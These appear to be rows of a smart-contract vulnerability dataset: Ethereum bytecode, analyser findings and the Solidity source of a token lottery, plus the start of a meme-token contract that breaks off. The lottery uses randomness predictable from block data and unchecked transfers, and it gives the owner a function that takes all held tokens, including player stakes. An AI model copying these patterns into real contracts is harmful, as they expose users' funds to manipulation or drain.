0x608060405234801561001057600080fd5b50600436106100885760003560e01c806391a973c61161005b57806391a973c614610116578063ab9772ac14610139578063c579d49014610140578063cd4709cb146100c157600080fd5b806341c0e1b51461008d5780637c331ddb146100975780638cedca71146100c15780639093410d146100f4575b600080fd5b610095610153565b005b6100ab6100a53660046106c2565b50606090565b6040516100b891906107df565b60405180910390f35b6100dc73ccf3d848e08b94478ed8f46ffead3008faf581fd81565b6040516001600160a01b0390911681526020016100b8565b6101076101023660046106c2565b61020c565b604051905181526020016100b8565b6101296101243660046106f5565b610235565b60405190151581526020016100b8565b6000610129565b61009561014e366004610662565b610262565b336001600160a01b031673ccf3d848e08b94478ed8f46ffead3008faf581fd6001600160a01b031663f851a4406040518163ffffffff1660e01b815260040160206040518083038186803b1580156101aa57600080fd5b505afa1580156101be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101e2919061063f565b6001600160a01b0316146102095760405163a6c827a960e01b815260040160405180910390fd5b33ff5b6040805160208101909152600081528180602001905181019061022f9190610756565b92915050565b6000806102418361020c565b90503a81600001511061025857600191505061022f565b5060009392505050565b336001600160a01b031673ccf3d848e08b94478ed8f46ffead3008faf581fd6001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156102b957600080fd5b505afa1580156102cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102f1919061063f565b6001600160a01b03161461031857604051630ca4a64560e11b815260040160405180910390fd5b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee6001600160a01b0384161415610379576040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610373573d6000803e3d6000fd5b50505050565b61038d6001600160a01b0384168383610392565b505050565b604080516001600160a01b03848116602483015260448083018590528351808403909101815260649092018352602080830180516001600160e01b031663a9059cbb60e01b17905283518085019094528084527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65649084015261038d928692916000916104229185169084906104a4565b80519091501561038d578080602001905181019061044091906106a2565b61038d5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084015b60405180910390fd5b60606104b384846000856104bb565b949350505050565b60606104c68561057f565b6104e35760405163304619b560e01b815260040160405180910390fd5b600080866001600160a01b031685876040516104ff91906107c3565b60006040518083038185875af1925050503d806000811461053c576040519150601f19603f3d011682016040523d82523d6000602084013e610541565b606091505b509150915081156105555791506104b39050565b8051156105655780518082602001fd5b8360405162461bcd60e51b815260040161049b91906107df565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708181148015906104b3575050151592915050565b600082601f8301126105c8578081fd5b813567ffffffffffffffff808211156105e3576105e361081e565b604051601f8301601f19908116603f0116810190828211818310171561060b5761060b61081e565b81604052838152866020858801011115610623578485fd5b8360208701602083013792830160200193909352509392505050565b600060208284031215610650578081fd5b815161065b81610834565b9392505050565b600080600060608486031215610676578182fd5b833561068181610834565b9250602084013561069181610834565b929592945050506040919091013590565b6000602082840312156106b3578081fd5b8151801515811461065b578182fd5b6000602082840312156106d3578081fd5b813567ffffffffffffffff8111156106e9578182fd5b6104b3848285016105b8565b60008060408385031215610707578182fd5b823567ffffffffffffffff8082111561071e578384fd5b61072a868387016105b8565b9350602085013591508082111561073f578283fd5b5061074c858286016105b8565b9150509250929050565b600060208284031215610767578081fd5b6040516020810181811067ffffffffffffffff8211171561078a5761078a61081e565b6040529151825250919050565b600081518084526107af8160208601602086016107f2565b601f01601f19169290920160200192915050565b600082516107d58184602087016107f2565b9190910192915050565b60208152600061065b6020830184610797565b60005b8381101561080d5781810151838201526020016107f5565b838111156103735750506000910152565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461084957600080fd5b5056fea264697066735822122037719d4d7f433d7832b9db48ce2c1d4cd2c7b62b60e72d5e5e90f2bfbc1bf71864736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 9,392 |
0x0c96d6eb32d5edd6e88cb8c582fee86707b55851
|
/**
*Submitted for verification at Etherscan.io on 2022-02-20
*/
/*
https://www.stiltonmusk.com
https://t.me/stiltonmusk
*/
// File: contracts/HasRandom.sol
pragma solidity ^0.8.7;
abstract contract HasRandom {
uint256 _randomNonce = 1;
function _random() internal returns (uint256) {
return
uint256(
keccak256(
abi.encodePacked(
msg.sender,
_randomNonce++,
block.timestamp
)
)
);
}
}
// File: contracts/Ownable.sol
abstract contract Ownable {
address _owner;
modifier onlyOwner() {
require(msg.sender == _owner);
_;
}
constructor() {
_owner = msg.sender;
}
function transferOwnership(address newOwner) external onlyOwner {
_owner = newOwner;
}
}
// File: contracts/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: contracts/IRouter.sol
interface IRouter {
function roundNumber() external view returns (uint256);
function token() external view returns (IERC20);
function isWithdrawInterval() external view returns (bool);
function interwalLapsedTime() external view returns (uint256);
function poolAddress() external view returns (address);
}
// File: contracts/Lottery.sol
struct Ticket {
uint256 amount;
bool isClosed;
}
contract Lottery is Ownable, HasRandom {
IERC20 public token;
uint256 public bidSize = 100000000;
uint256 public nextBidSize = 100000000;
uint256 public roundNumber = 1;
uint256 public bidsCount;
Ticket[] public tickets;
uint256 public ticketsRewards; // current round tickets summary reward
mapping(address => uint256[]) ticketsByAccounts;
mapping(address => uint256) roundNumberByAccount;
mapping(address => bool) hasTicket;
uint256 public playersCount;
bool _isWithdrawInterval;
uint256 _nextIntervalTime;
uint256 public intervalTimerMin = 360;
address public cAASBankAddress;
uint256 cAASBankAddressPercent = 50;
uint256 public jackpot;
uint256 public lotteryFeePercent = 5;
uint256 jackpotN = 1000;
uint256 nextJackpotN;
bool public isOpened;
event OnJackpot(uint256 count, uint256 indexed roundNumber);
constructor(address tokenAddress) {
token = IERC20(tokenAddress);
cAASBankAddress = address(this);
nextJackpotN = jackpotN;
}
function setLotteryFeePercent(uint256 lotteryFeePercent_)
external
onlyOwner
{
require(lotteryFeePercent_ <= 90);
lotteryFeePercent = lotteryFeePercent_;
}
function setOpenLottery(bool opened) external onlyOwner {
isOpened = opened;
_nextIntervalTime = block.timestamp + intervalTimerMin * 1 minutes;
}
function setToken(address tokenAddress) external onlyOwner {
token = IERC20(tokenAddress);
}
function setNextJackpotN(uint256 n) external onlyOwner {
nextJackpotN = n;
}
function withdrawOwner() external onlyOwner {
token.transfer(_owner, token.balanceOf(address(this)));
}
function setNextBidSize(uint256 nextBidSize_) external onlyOwner {
nextBidSize = nextBidSize_;
if (bidsCount == 0) bidSize = nextBidSize_;
}
function setIntervalTimer(uint256 intervalTimerMin_) external onlyOwner {
intervalTimerMin = intervalTimerMin_;
}
function setCAASBankAddress(address cAASBankAddress_) external onlyOwner {
cAASBankAddress = cAASBankAddress_;
}
function setCAASBankAddressPercent(uint256 cAASBankAddressPercent_)
external
onlyOwner
{
require(cAASBankAddressPercent_ <= 100);
cAASBankAddressPercent = cAASBankAddressPercent_;
}
function buyTicket() external {
_buyTickets(msg.sender, 1);
}
function buyTickets(address account, uint256 count) external {
_buyTickets(account, count);
}
function _buyTickets(address account, uint256 count) private {
require(count > 0, "count is zero");
require(isOpened, "lottery is not open");
tryNextInterval();
require(!_isWithdrawInterval, "only in game interval");
if (roundNumberByAccount[account] != roundNumber) clearData(account);
token.transferFrom(account, address(this), bidSize * count);
roundNumberByAccount[account] = roundNumber;
if (!hasTicket[account]) ++playersCount;
hasTicket[account] = true;
uint256 lastbTicketsCount = bidsCount;
bidsCount += count;
for (uint256 i = 0; i < count; ++i) {
tickets.push(Ticket(bidSize, false));
ticketsByAccounts[account].push(lastbTicketsCount + i);
arrangeRewards(lastbTicketsCount + i);
}
}
function arrangeRewards(uint256 ticketA) private {
ticketsRewards += tickets[ticketA].amount;
tickets[ticketA].amount -=
(tickets[ticketA].amount * (lotteryFeePercent + 10)) /
100; // lottery fee + 10% token tax
uint256 random = _random();
uint256 currentTicketsCount = ticketA + 1;
uint256 ticketB = random % currentTicketsCount;
if (ticketB == ticketA) ticketB = (ticketB + 1) % currentTicketsCount;
// jackpot
if (random % jackpotN == 0) {
emit OnJackpot(jackpot, roundNumber);
tickets[ticketB].amount += jackpot;
ticketsRewards += jackpot;
jackpot = 0;
}
if (ticketB == ticketA) return;
uint256 percent = 1 + (random % 1000);
if (random % 2 == 0) {
uint256 delta = (tickets[ticketB].amount * percent) / 1000;
tickets[ticketA].amount += delta;
tickets[ticketB].amount -= delta;
} else {
uint256 delta = (tickets[ticketA].amount * percent) / 1000;
tickets[ticketA].amount -= delta;
tickets[ticketB].amount += delta;
}
}
function clearData(address account) private {
delete ticketsByAccounts[account];
hasTicket[account] = false;
}
function getTicketsCount(address account) public view returns (uint256) {
if (
roundNumberByAccount[account] != roundNumber ||
(_isWithdrawInterval &&
intervalLapsedTime() == 0 &&
playersCount > 1) ||
(
(!_isWithdrawInterval &&
block.timestamp >=
_nextIntervalTime + intervalTimerMin * 1 minutes &&
playersCount > 1)
)
) return 0;
return ticketsByAccounts[account].length;
}
function getTicket(address account, uint256 index)
public
view
returns (Ticket memory)
{
require(index < getTicketsCount(account), "bad ticketIndex");
return tickets[ticketsByAccounts[account][index]];
}
function getTickets(
address account,
uint256 startIndex,
uint256 count
) external view returns (Ticket[] memory) {
Ticket[] memory ticketsList = new Ticket[](count);
require(
startIndex + count <= getTicketsCount(account),
"bad ticketIndex"
);
for (uint256 i = 0; i < count; ++i) {
ticketsList[i] = tickets[
ticketsByAccounts[account][startIndex + i]
];
}
return ticketsList;
}
function getAllTicketsListPage(uint256 startIndex, uint256 count)
external
view
returns (Ticket[] memory)
{
Ticket[] memory ticketsList = new Ticket[](count);
for (uint256 i = 0; i < count; ++i) {
ticketsList[i] = tickets[startIndex + i];
}
return ticketsList;
}
function closeTicket(address account, uint256 index) external {
_closeTickets(account, index, 1);
}
function closeTickets(
address account,
uint256 startIndex,
uint256 count
) external {
_closeTickets(account, startIndex, count);
}
function _closeTickets(
address account,
uint256 startIndex,
uint256 count
) private {
require(count > 0, "count is zero");
require(isOpened, "lottery is not open");
tryNextInterval();
require(_isWithdrawInterval, "only in withdraw interval");
uint256 toTransfer;
uint256 lastIndex = startIndex + count;
for (uint256 i = startIndex; i < lastIndex; ++i) {
Ticket storage ticket = tickets[ticketsByAccounts[account][i]];
if (ticket.isClosed) continue;
ticket.isClosed = true;
toTransfer += ticket.amount;
}
require(toTransfer > 0, "has no rewards");
token.transfer(account, toTransfer);
}
function _newRound() private {
if (!isOpened) return;
_isWithdrawInterval = false;
if (playersCount > 1 || (playersCount == 1 && tickets[0].isClosed)) {
++roundNumber;
bidSize = nextBidSize;
bidsCount = 0;
playersCount = 0;
delete tickets;
ticketsRewards = 0;
uint256 balance = token.balanceOf(address(this));
if (balance > 0 && cAASBankAddress != address(this)) {
uint256 toTransfer = ((token.balanceOf(address(this)) -
jackpot) * cAASBankAddressPercent) / 100;
token.transfer(cAASBankAddress, toTransfer);
}
jackpot = token.balanceOf(address(this));
jackpotN = nextJackpotN;
}
}
function tryNextInterval() public {
if (!isOpened) return;
// next interval
if (block.timestamp < _nextIntervalTime) return;
// if skip reward interval
if (!_isWithdrawInterval) {
if (
!_isWithdrawInterval &&
block.timestamp >=
_nextIntervalTime + intervalTimerMin * 1 minutes
) {
_nextIntervalTime =
block.timestamp +
intervalTimerMin *
1 minutes;
_newRound();
return;
}
_nextIntervalTime = block.timestamp + intervalLapsedTime();
} else {
_nextIntervalTime = block.timestamp + intervalTimerMin * 1 minutes;
}
// next interval
_isWithdrawInterval = !_isWithdrawInterval;
// next round
if (!_isWithdrawInterval) _newRound();
}
/// @dev current intervallapsed time in seconds
function intervalLapsedTime() public view returns (uint256) {
// if timer
if (block.timestamp < _nextIntervalTime)
return _nextIntervalTime - block.timestamp;
// now withdraw interval (skipping withdraq interval)
if (
!_isWithdrawInterval &&
block.timestamp < _nextIntervalTime + intervalTimerMin * 1 minutes
)
return
_nextIntervalTime +
intervalTimerMin *
1 minutes -
block.timestamp;
// new interval
return 0;
}
function isWithdrawInterval() external view returns (bool) {
// if timer
if (block.timestamp < _nextIntervalTime) return _isWithdrawInterval;
// now withdraw interval (skipping withdraq interval)
if (
!_isWithdrawInterval &&
block.timestamp >= _nextIntervalTime + intervalTimerMin * 1 minutes
) return false;
// new interval
return !_isWithdrawInterval;
}
}
|
0x608060405234801561001057600080fd5b50600436106102065760003560e01c806388f577671161011a578063cb076478116100ad578063e8cc00ad1161007c578063e8cc00ad1461042b578063e91b159b14610433578063edca914c1461043c578063f2fde38b14610444578063fc0c546a1461045757600080fd5b8063cb076478146103ba578063de1455d0146103da578063e086632814610405578063e3b306131461041857600080fd5b8063b6e965c3116100e9578063b6e965c314610378578063bd3583281461038b578063c4a4c4c21461039e578063c4ebdafc146103b157600080fd5b806388f577671461034b5780639cf6a23b1461035e578063a3f67d6d14610367578063b17d69d01461037057600080fd5b806346c4151c1161019d578063546596851161016c57806354659685146102fc578063692aa97e1461030f5780636b31ee011461031c5780636c6429c1146103255780637b8031ed1461033857600080fd5b806346c4151c146102a05780634e2786fb146102b857806350b44712146102c157806353872ae2146102e957600080fd5b80632b70c8fc116101d95780632b70c8fc146102685780633562566d146102715780633fbffcef1461028457806345b094351461028d57600080fd5b80630b3ad4ea1461020b578063144fa6d714610234578063277691a2146102495780632ab463fb1461025f575b600080fd5b61021e610219366004611b41565b61046a565b60405161022b9190611b63565b60405180910390f35b610247610242366004611a56565b61055f565b005b610251610598565b60405190815260200161022b565b61025160135481565b61025160035481565b61021e61027f366004611aa2565b610615565b61025160065481565b61024761029b366004611b0f565b610795565b6102a86107bf565b604051901515815260200161022b565b61025160055481565b6102d46102cf366004611b0f565b610818565b6040805192835290151560208301520161022b565b6102476102f7366004611ad5565b610849565b61025161030a366004611a56565b61088c565b6016546102a89060ff1681565b61025160125481565b610247610333366004611a56565b610941565b610247610346366004611aa2565b61097a565b610247610359366004611a78565b61098a565b61025160085481565b610251600c5481565b610247610998565b610247610386366004611b0f565b610a69565b610247610399366004611b0f565b610a85565b6102476103ac366004611a78565b610aaf565b61025160045481565b6103cd6103c8366004611a78565b610abb565b60405161022b9190611bbc565b6010546103ed906001600160a01b031681565b6040516001600160a01b03909116815260200161022b565b610247610413366004611b0f565b610b98565b610247610426366004611b0f565b610bb4565b610247610be0565b610251600f5481565b610247610cfd565b610247610452366004611a56565b610d08565b6002546103ed906001600160a01b031681565b606060008267ffffffffffffffff81111561048757610487611ca8565b6040519080825280602002602001820160405280156104cc57816020015b60408051808201909152600080825260208201528152602001906001900390816104a55790505b50905060005b838110156105555760076104e68287611bd5565b815481106104f6576104f6611c92565b600091825260209182902060408051808201909152600290920201805482526001015460ff16151591810191909152825183908390811061053957610539611c92565b60200260200101819052508061054e90611c37565b90506104d2565b5090505b92915050565b6000546001600160a01b0316331461057657600080fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6000600e544210156105b75742600e546105b29190611c20565b905090565b600d5460ff161580156105e35750600f546105d390603c611c01565b600e546105e09190611bd5565b42105b1561060f5742600f54603c6105f89190611c01565b600e546106059190611bd5565b6105b29190611c20565b50600090565b606060008267ffffffffffffffff81111561063257610632611ca8565b60405190808252806020026020018201604052801561067757816020015b60408051808201909152600080825260208201528152602001906001900390816106505790505b5090506106838561088c565b61068d8486611bd5565b11156106d25760405162461bcd60e51b815260206004820152600f60248201526e0c4c2c840e8d2c6d6cae892dcc8caf608b1b60448201526064015b60405180910390fd5b60005b8381101561078c576001600160a01b03861660009081526009602052604090206007906107028388611bd5565b8154811061071257610712611c92565b90600052602060002001548154811061072d5761072d611c92565b600091825260209182902060408051808201909152600290920201805482526001015460ff16151591810191909152825183908390811061077057610770611c92565b60200260200101819052508061078590611c37565b90506106d5565b50949350505050565b6000546001600160a01b031633146107ac57600080fd5b60648111156107ba57600080fd5b601155565b6000600e544210156107d55750600d5460ff1690565b600d5460ff161580156108025750600f546107f190603c611c01565b600e546107fe9190611bd5565b4210155b1561080d5750600090565b50600d5460ff161590565b6007818154811061082857600080fd5b60009182526020909120600290910201805460019091015490915060ff1682565b6000546001600160a01b0316331461086057600080fd5b6016805460ff1916821515179055600f5461087c90603c611c01565b6108869042611bd5565b600e5550565b6005546001600160a01b0382166000908152600a602052604081205490911415806108d75750600d5460ff1680156108c957506108c7610598565b155b80156108d757506001600c54115b806109185750600d5460ff1615801561090a5750600f546108f990603c611c01565b600e546109069190611bd5565b4210155b801561091857506001600c54115b1561092557506000919050565b506001600160a01b031660009081526009602052604090205490565b6000546001600160a01b0316331461095857600080fd5b601080546001600160a01b0319166001600160a01b0392909216919091179055565b610985838383610d41565b505050565b6109948282610fab565b5050565b60165460ff166109a457565b600e544210156109b057565b600d5460ff16610a2b57600d5460ff161580156109e75750600f546109d690603c611c01565b600e546109e39190611bd5565b4210155b15610a1157600f546109fa90603c611c01565b610a049042611bd5565b600e55610a0f6112c8565b565b610a19610598565b610a239042611bd5565b600e55610a47565b600f54610a3990603c611c01565b610a439042611bd5565b600e555b600d805460ff19811660ff9182161590811790925516610a0f57610a0f6112c8565b6000546001600160a01b03163314610a8057600080fd5b601555565b6000546001600160a01b03163314610a9c57600080fd5b605a811115610aaa57600080fd5b601355565b61099482826001610d41565b6040805180820190915260008082526020820152610ad88361088c565b8210610b185760405162461bcd60e51b815260206004820152600f60248201526e0c4c2c840e8d2c6d6cae892dcc8caf608b1b60448201526064016106c9565b6001600160a01b038316600090815260096020526040902080546007919084908110610b4657610b46611c92565b906000526020600020015481548110610b6157610b61611c92565b600091825260209182902060408051808201909152600290920201805482526001015460ff16151591810191909152905092915050565b6000546001600160a01b03163314610baf57600080fd5b600f55565b6000546001600160a01b03163314610bcb57600080fd5b6004819055600654610bdd5760038190555b50565b6000546001600160a01b03163314610bf757600080fd5b6002546000546040516370a0823160e01b81523060048201526001600160a01b039283169263a9059cbb92169083906370a082319060240160206040518083038186803b158015610c4757600080fd5b505afa158015610c5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c7f9190611b28565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b158015610cc557600080fd5b505af1158015610cd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bdd9190611af2565b610a0f336001610fab565b6000546001600160a01b03163314610d1f57600080fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008111610d815760405162461bcd60e51b815260206004820152600d60248201526c636f756e74206973207a65726f60981b60448201526064016106c9565b60165460ff16610dc95760405162461bcd60e51b81526020600482015260136024820152723637ba3a32b93c9034b9903737ba1037b832b760691b60448201526064016106c9565b610dd1610998565b600d5460ff16610e235760405162461bcd60e51b815260206004820152601960248201527f6f6e6c7920696e20776974686472617720696e74657276616c0000000000000060448201526064016106c9565b600080610e308385611bd5565b9050835b81811015610edb576001600160a01b038616600090815260096020526040812080546007919084908110610e6a57610e6a611c92565b906000526020600020015481548110610e8557610e85611c92565b60009182526020909120600290910201600181015490915060ff1615610eab5750610ecb565b6001818101805460ff191690911790558054610ec79085611bd5565b9350505b610ed481611c37565b9050610e34565b5060008211610f1d5760405162461bcd60e51b815260206004820152600e60248201526d686173206e6f207265776172647360901b60448201526064016106c9565b60025460405163a9059cbb60e01b81526001600160a01b038781166004830152602482018590529091169063a9059cbb90604401602060405180830381600087803b158015610f6b57600080fd5b505af1158015610f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa39190611af2565b505050505050565b60008111610feb5760405162461bcd60e51b815260206004820152600d60248201526c636f756e74206973207a65726f60981b60448201526064016106c9565b60165460ff166110335760405162461bcd60e51b81526020600482015260136024820152723637ba3a32b93c9034b9903737ba1037b832b760691b60448201526064016106c9565b61103b610998565b600d5460ff16156110865760405162461bcd60e51b81526020600482015260156024820152741bdb9b1e481a5b8819d85b59481a5b9d195c9d985b605a1b60448201526064016106c9565b6005546001600160a01b0383166000908152600a6020526040902054146110b0576110b0826115ba565b6002546003546001600160a01b03909116906323b872dd90849030906110d7908690611c01565b6040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401602060405180830381600087803b15801561112657600080fd5b505af115801561113a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115e9190611af2565b506005546001600160a01b0383166000908152600a6020908152604080832093909355600b9052205460ff166111a257600c6000815461119d90611c37565b909155505b6001600160a01b0382166000908152600b60205260408120805460ff1916600117905560068054918391906111d78385611bd5565b90915550600090505b828110156112c2576040805180820182526003548152600060208083018281526007805460018101825590845293517fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c688600290950294850155517fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c689909301805460ff1916931515939093179092556001600160a01b038716815260099091522061128a8284611bd5565b815460018101835560009283526020909220909101556112b26112ad8284611bd5565b6115fc565b6112bb81611c37565b90506111e0565b50505050565b60165460ff166112d457565b600d805460ff19169055600c54600110806113235750600c5460011480156113235750600760008154811061130b5761130b611c92565b600091825260209091206001600290920201015460ff165b15610a0f5760056000815461133790611c37565b9091555060045460035560006006819055600c819055611359906007906119c1565b600060088190556002546040516370a0823160e01b81523060048201526001600160a01b03909116906370a082319060240160206040518083038186803b1580156113a357600080fd5b505afa1580156113b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113db9190611b28565b90506000811180156113f857506010546001600160a01b03163014155b15611533576011546012546002546040516370a0823160e01b8152306004820152600093606493909290916001600160a01b03909116906370a082319060240160206040518083038186803b15801561145057600080fd5b505afa158015611464573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114889190611b28565b6114929190611c20565b61149c9190611c01565b6114a69190611bed565b60025460105460405163a9059cbb60e01b81526001600160a01b03918216600482015260248101849052929350169063a9059cbb90604401602060405180830381600087803b1580156114f857600080fd5b505af115801561150c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115309190611af2565b50505b6002546040516370a0823160e01b81523060048201526001600160a01b03909116906370a082319060240160206040518083038186803b15801561157657600080fd5b505afa15801561158a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ae9190611b28565b60125550601554601455565b6001600160a01b03811660009081526009602052604081206115db916119e2565b6001600160a01b03166000908152600b60205260409020805460ff19169055565b6007818154811061160f5761160f611c92565b906000526020600020906002020160000154600860008282546116329190611bd5565b909155505060135460649061164890600a611bd5565b6007838154811061165b5761165b611c92565b9060005260206000209060020201600001546116779190611c01565b6116819190611bed565b6007828154811061169457611694611c92565b906000526020600020906002020160000160008282546116b49190611c20565b90915550600090506116c4611960565b905060006116d3836001611bd5565b905060006116e18284611c52565b90508381141561170457816116f7826001611bd5565b6117019190611c52565b90505b6014546117119084611c52565b6117ae576005547fa69137a98656ed6be230b0f63313991e88520b49bf6d07a7f0a7970ef2c4565460125460405161174b91815260200190565b60405180910390a26012546007828154811061176957611769611c92565b906000526020600020906002020160000160008282546117899190611bd5565b9091555050601254600880546000906117a3908490611bd5565b909155505060006012555b838114156117bc5750505050565b60006117ca6103e885611c52565b6117d5906001611bd5565b90506117e2600285611c52565b6118a25760006103e882600785815481106117ff576117ff611c92565b90600052602060002090600202016000015461181b9190611c01565b6118259190611bed565b9050806007878154811061183b5761183b611c92565b9060005260206000209060020201600001600082825461185b9190611bd5565b92505081905550806007848154811061187657611876611c92565b906000526020600020906002020160000160008282546118969190611c20565b90915550611959915050565b60006103e882600788815481106118bb576118bb611c92565b9060005260206000209060020201600001546118d79190611c01565b6118e19190611bed565b905080600787815481106118f7576118f7611c92565b906000526020600020906002020160000160008282546119179190611c20565b92505081905550806007848154811061193257611932611c92565b906000526020600020906002020160000160008282546119529190611bd5565b9091555050505b5050505050565b600180546000913391908361197483611c37565b9091555060405160609290921b6bffffffffffffffffffffffff1916602083015260348201524260548201526074016040516020818303038152906040528051906020012060001c905090565b5080546000825560020290600052602060002090810190610bdd9190611a00565b5080546000825590600052602060002090810190610bdd9190611a25565b5b80821115611a21576000815560018101805460ff19169055600201611a01565b5090565b5b80821115611a215760008155600101611a26565b80356001600160a01b0381168114611a5157600080fd5b919050565b600060208284031215611a6857600080fd5b611a7182611a3a565b9392505050565b60008060408385031215611a8b57600080fd5b611a9483611a3a565b946020939093013593505050565b600080600060608486031215611ab757600080fd5b611ac084611a3a565b95602085013595506040909401359392505050565b600060208284031215611ae757600080fd5b8135611a7181611cbe565b600060208284031215611b0457600080fd5b8151611a7181611cbe565b600060208284031215611b2157600080fd5b5035919050565b600060208284031215611b3a57600080fd5b5051919050565b60008060408385031215611b5457600080fd5b50508035926020909101359150565b602080825282518282018190526000919060409081850190868401855b82811015611baf57611b9f848351805182526020908101511515910152565b9284019290850190600101611b80565b5091979650505050505050565b8151815260208083015115159082015260408101610559565b60008219821115611be857611be8611c66565b500190565b600082611bfc57611bfc611c7c565b500490565b6000816000190483118215151615611c1b57611c1b611c66565b500290565b600082821015611c3257611c32611c66565b500390565b6000600019821415611c4b57611c4b611c66565b5060010190565b600082611c6157611c61611c7c565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b8015158114610bdd57600080fdfea26469706673582212208be6ea9bf0e73f2824202f10e461328b3d945005b80338fc03528d7e52ab12c364736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 9,393 |
0x5a847b12af47de08e5524d544c7571bfbe7244e0
|
/**
*Submitted for verification at Etherscan.io on 2021-06-22
*/
//Bubbles Inu ($BUBINU)
//2% Deflationary yes
//Telegram: https://t.me/bubblesinuofficial
//CG, CMC listing: Ongoing
//Fair Launch
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BubblesInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Bubbles Inu";
string private constant _symbol = "BUBINU";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
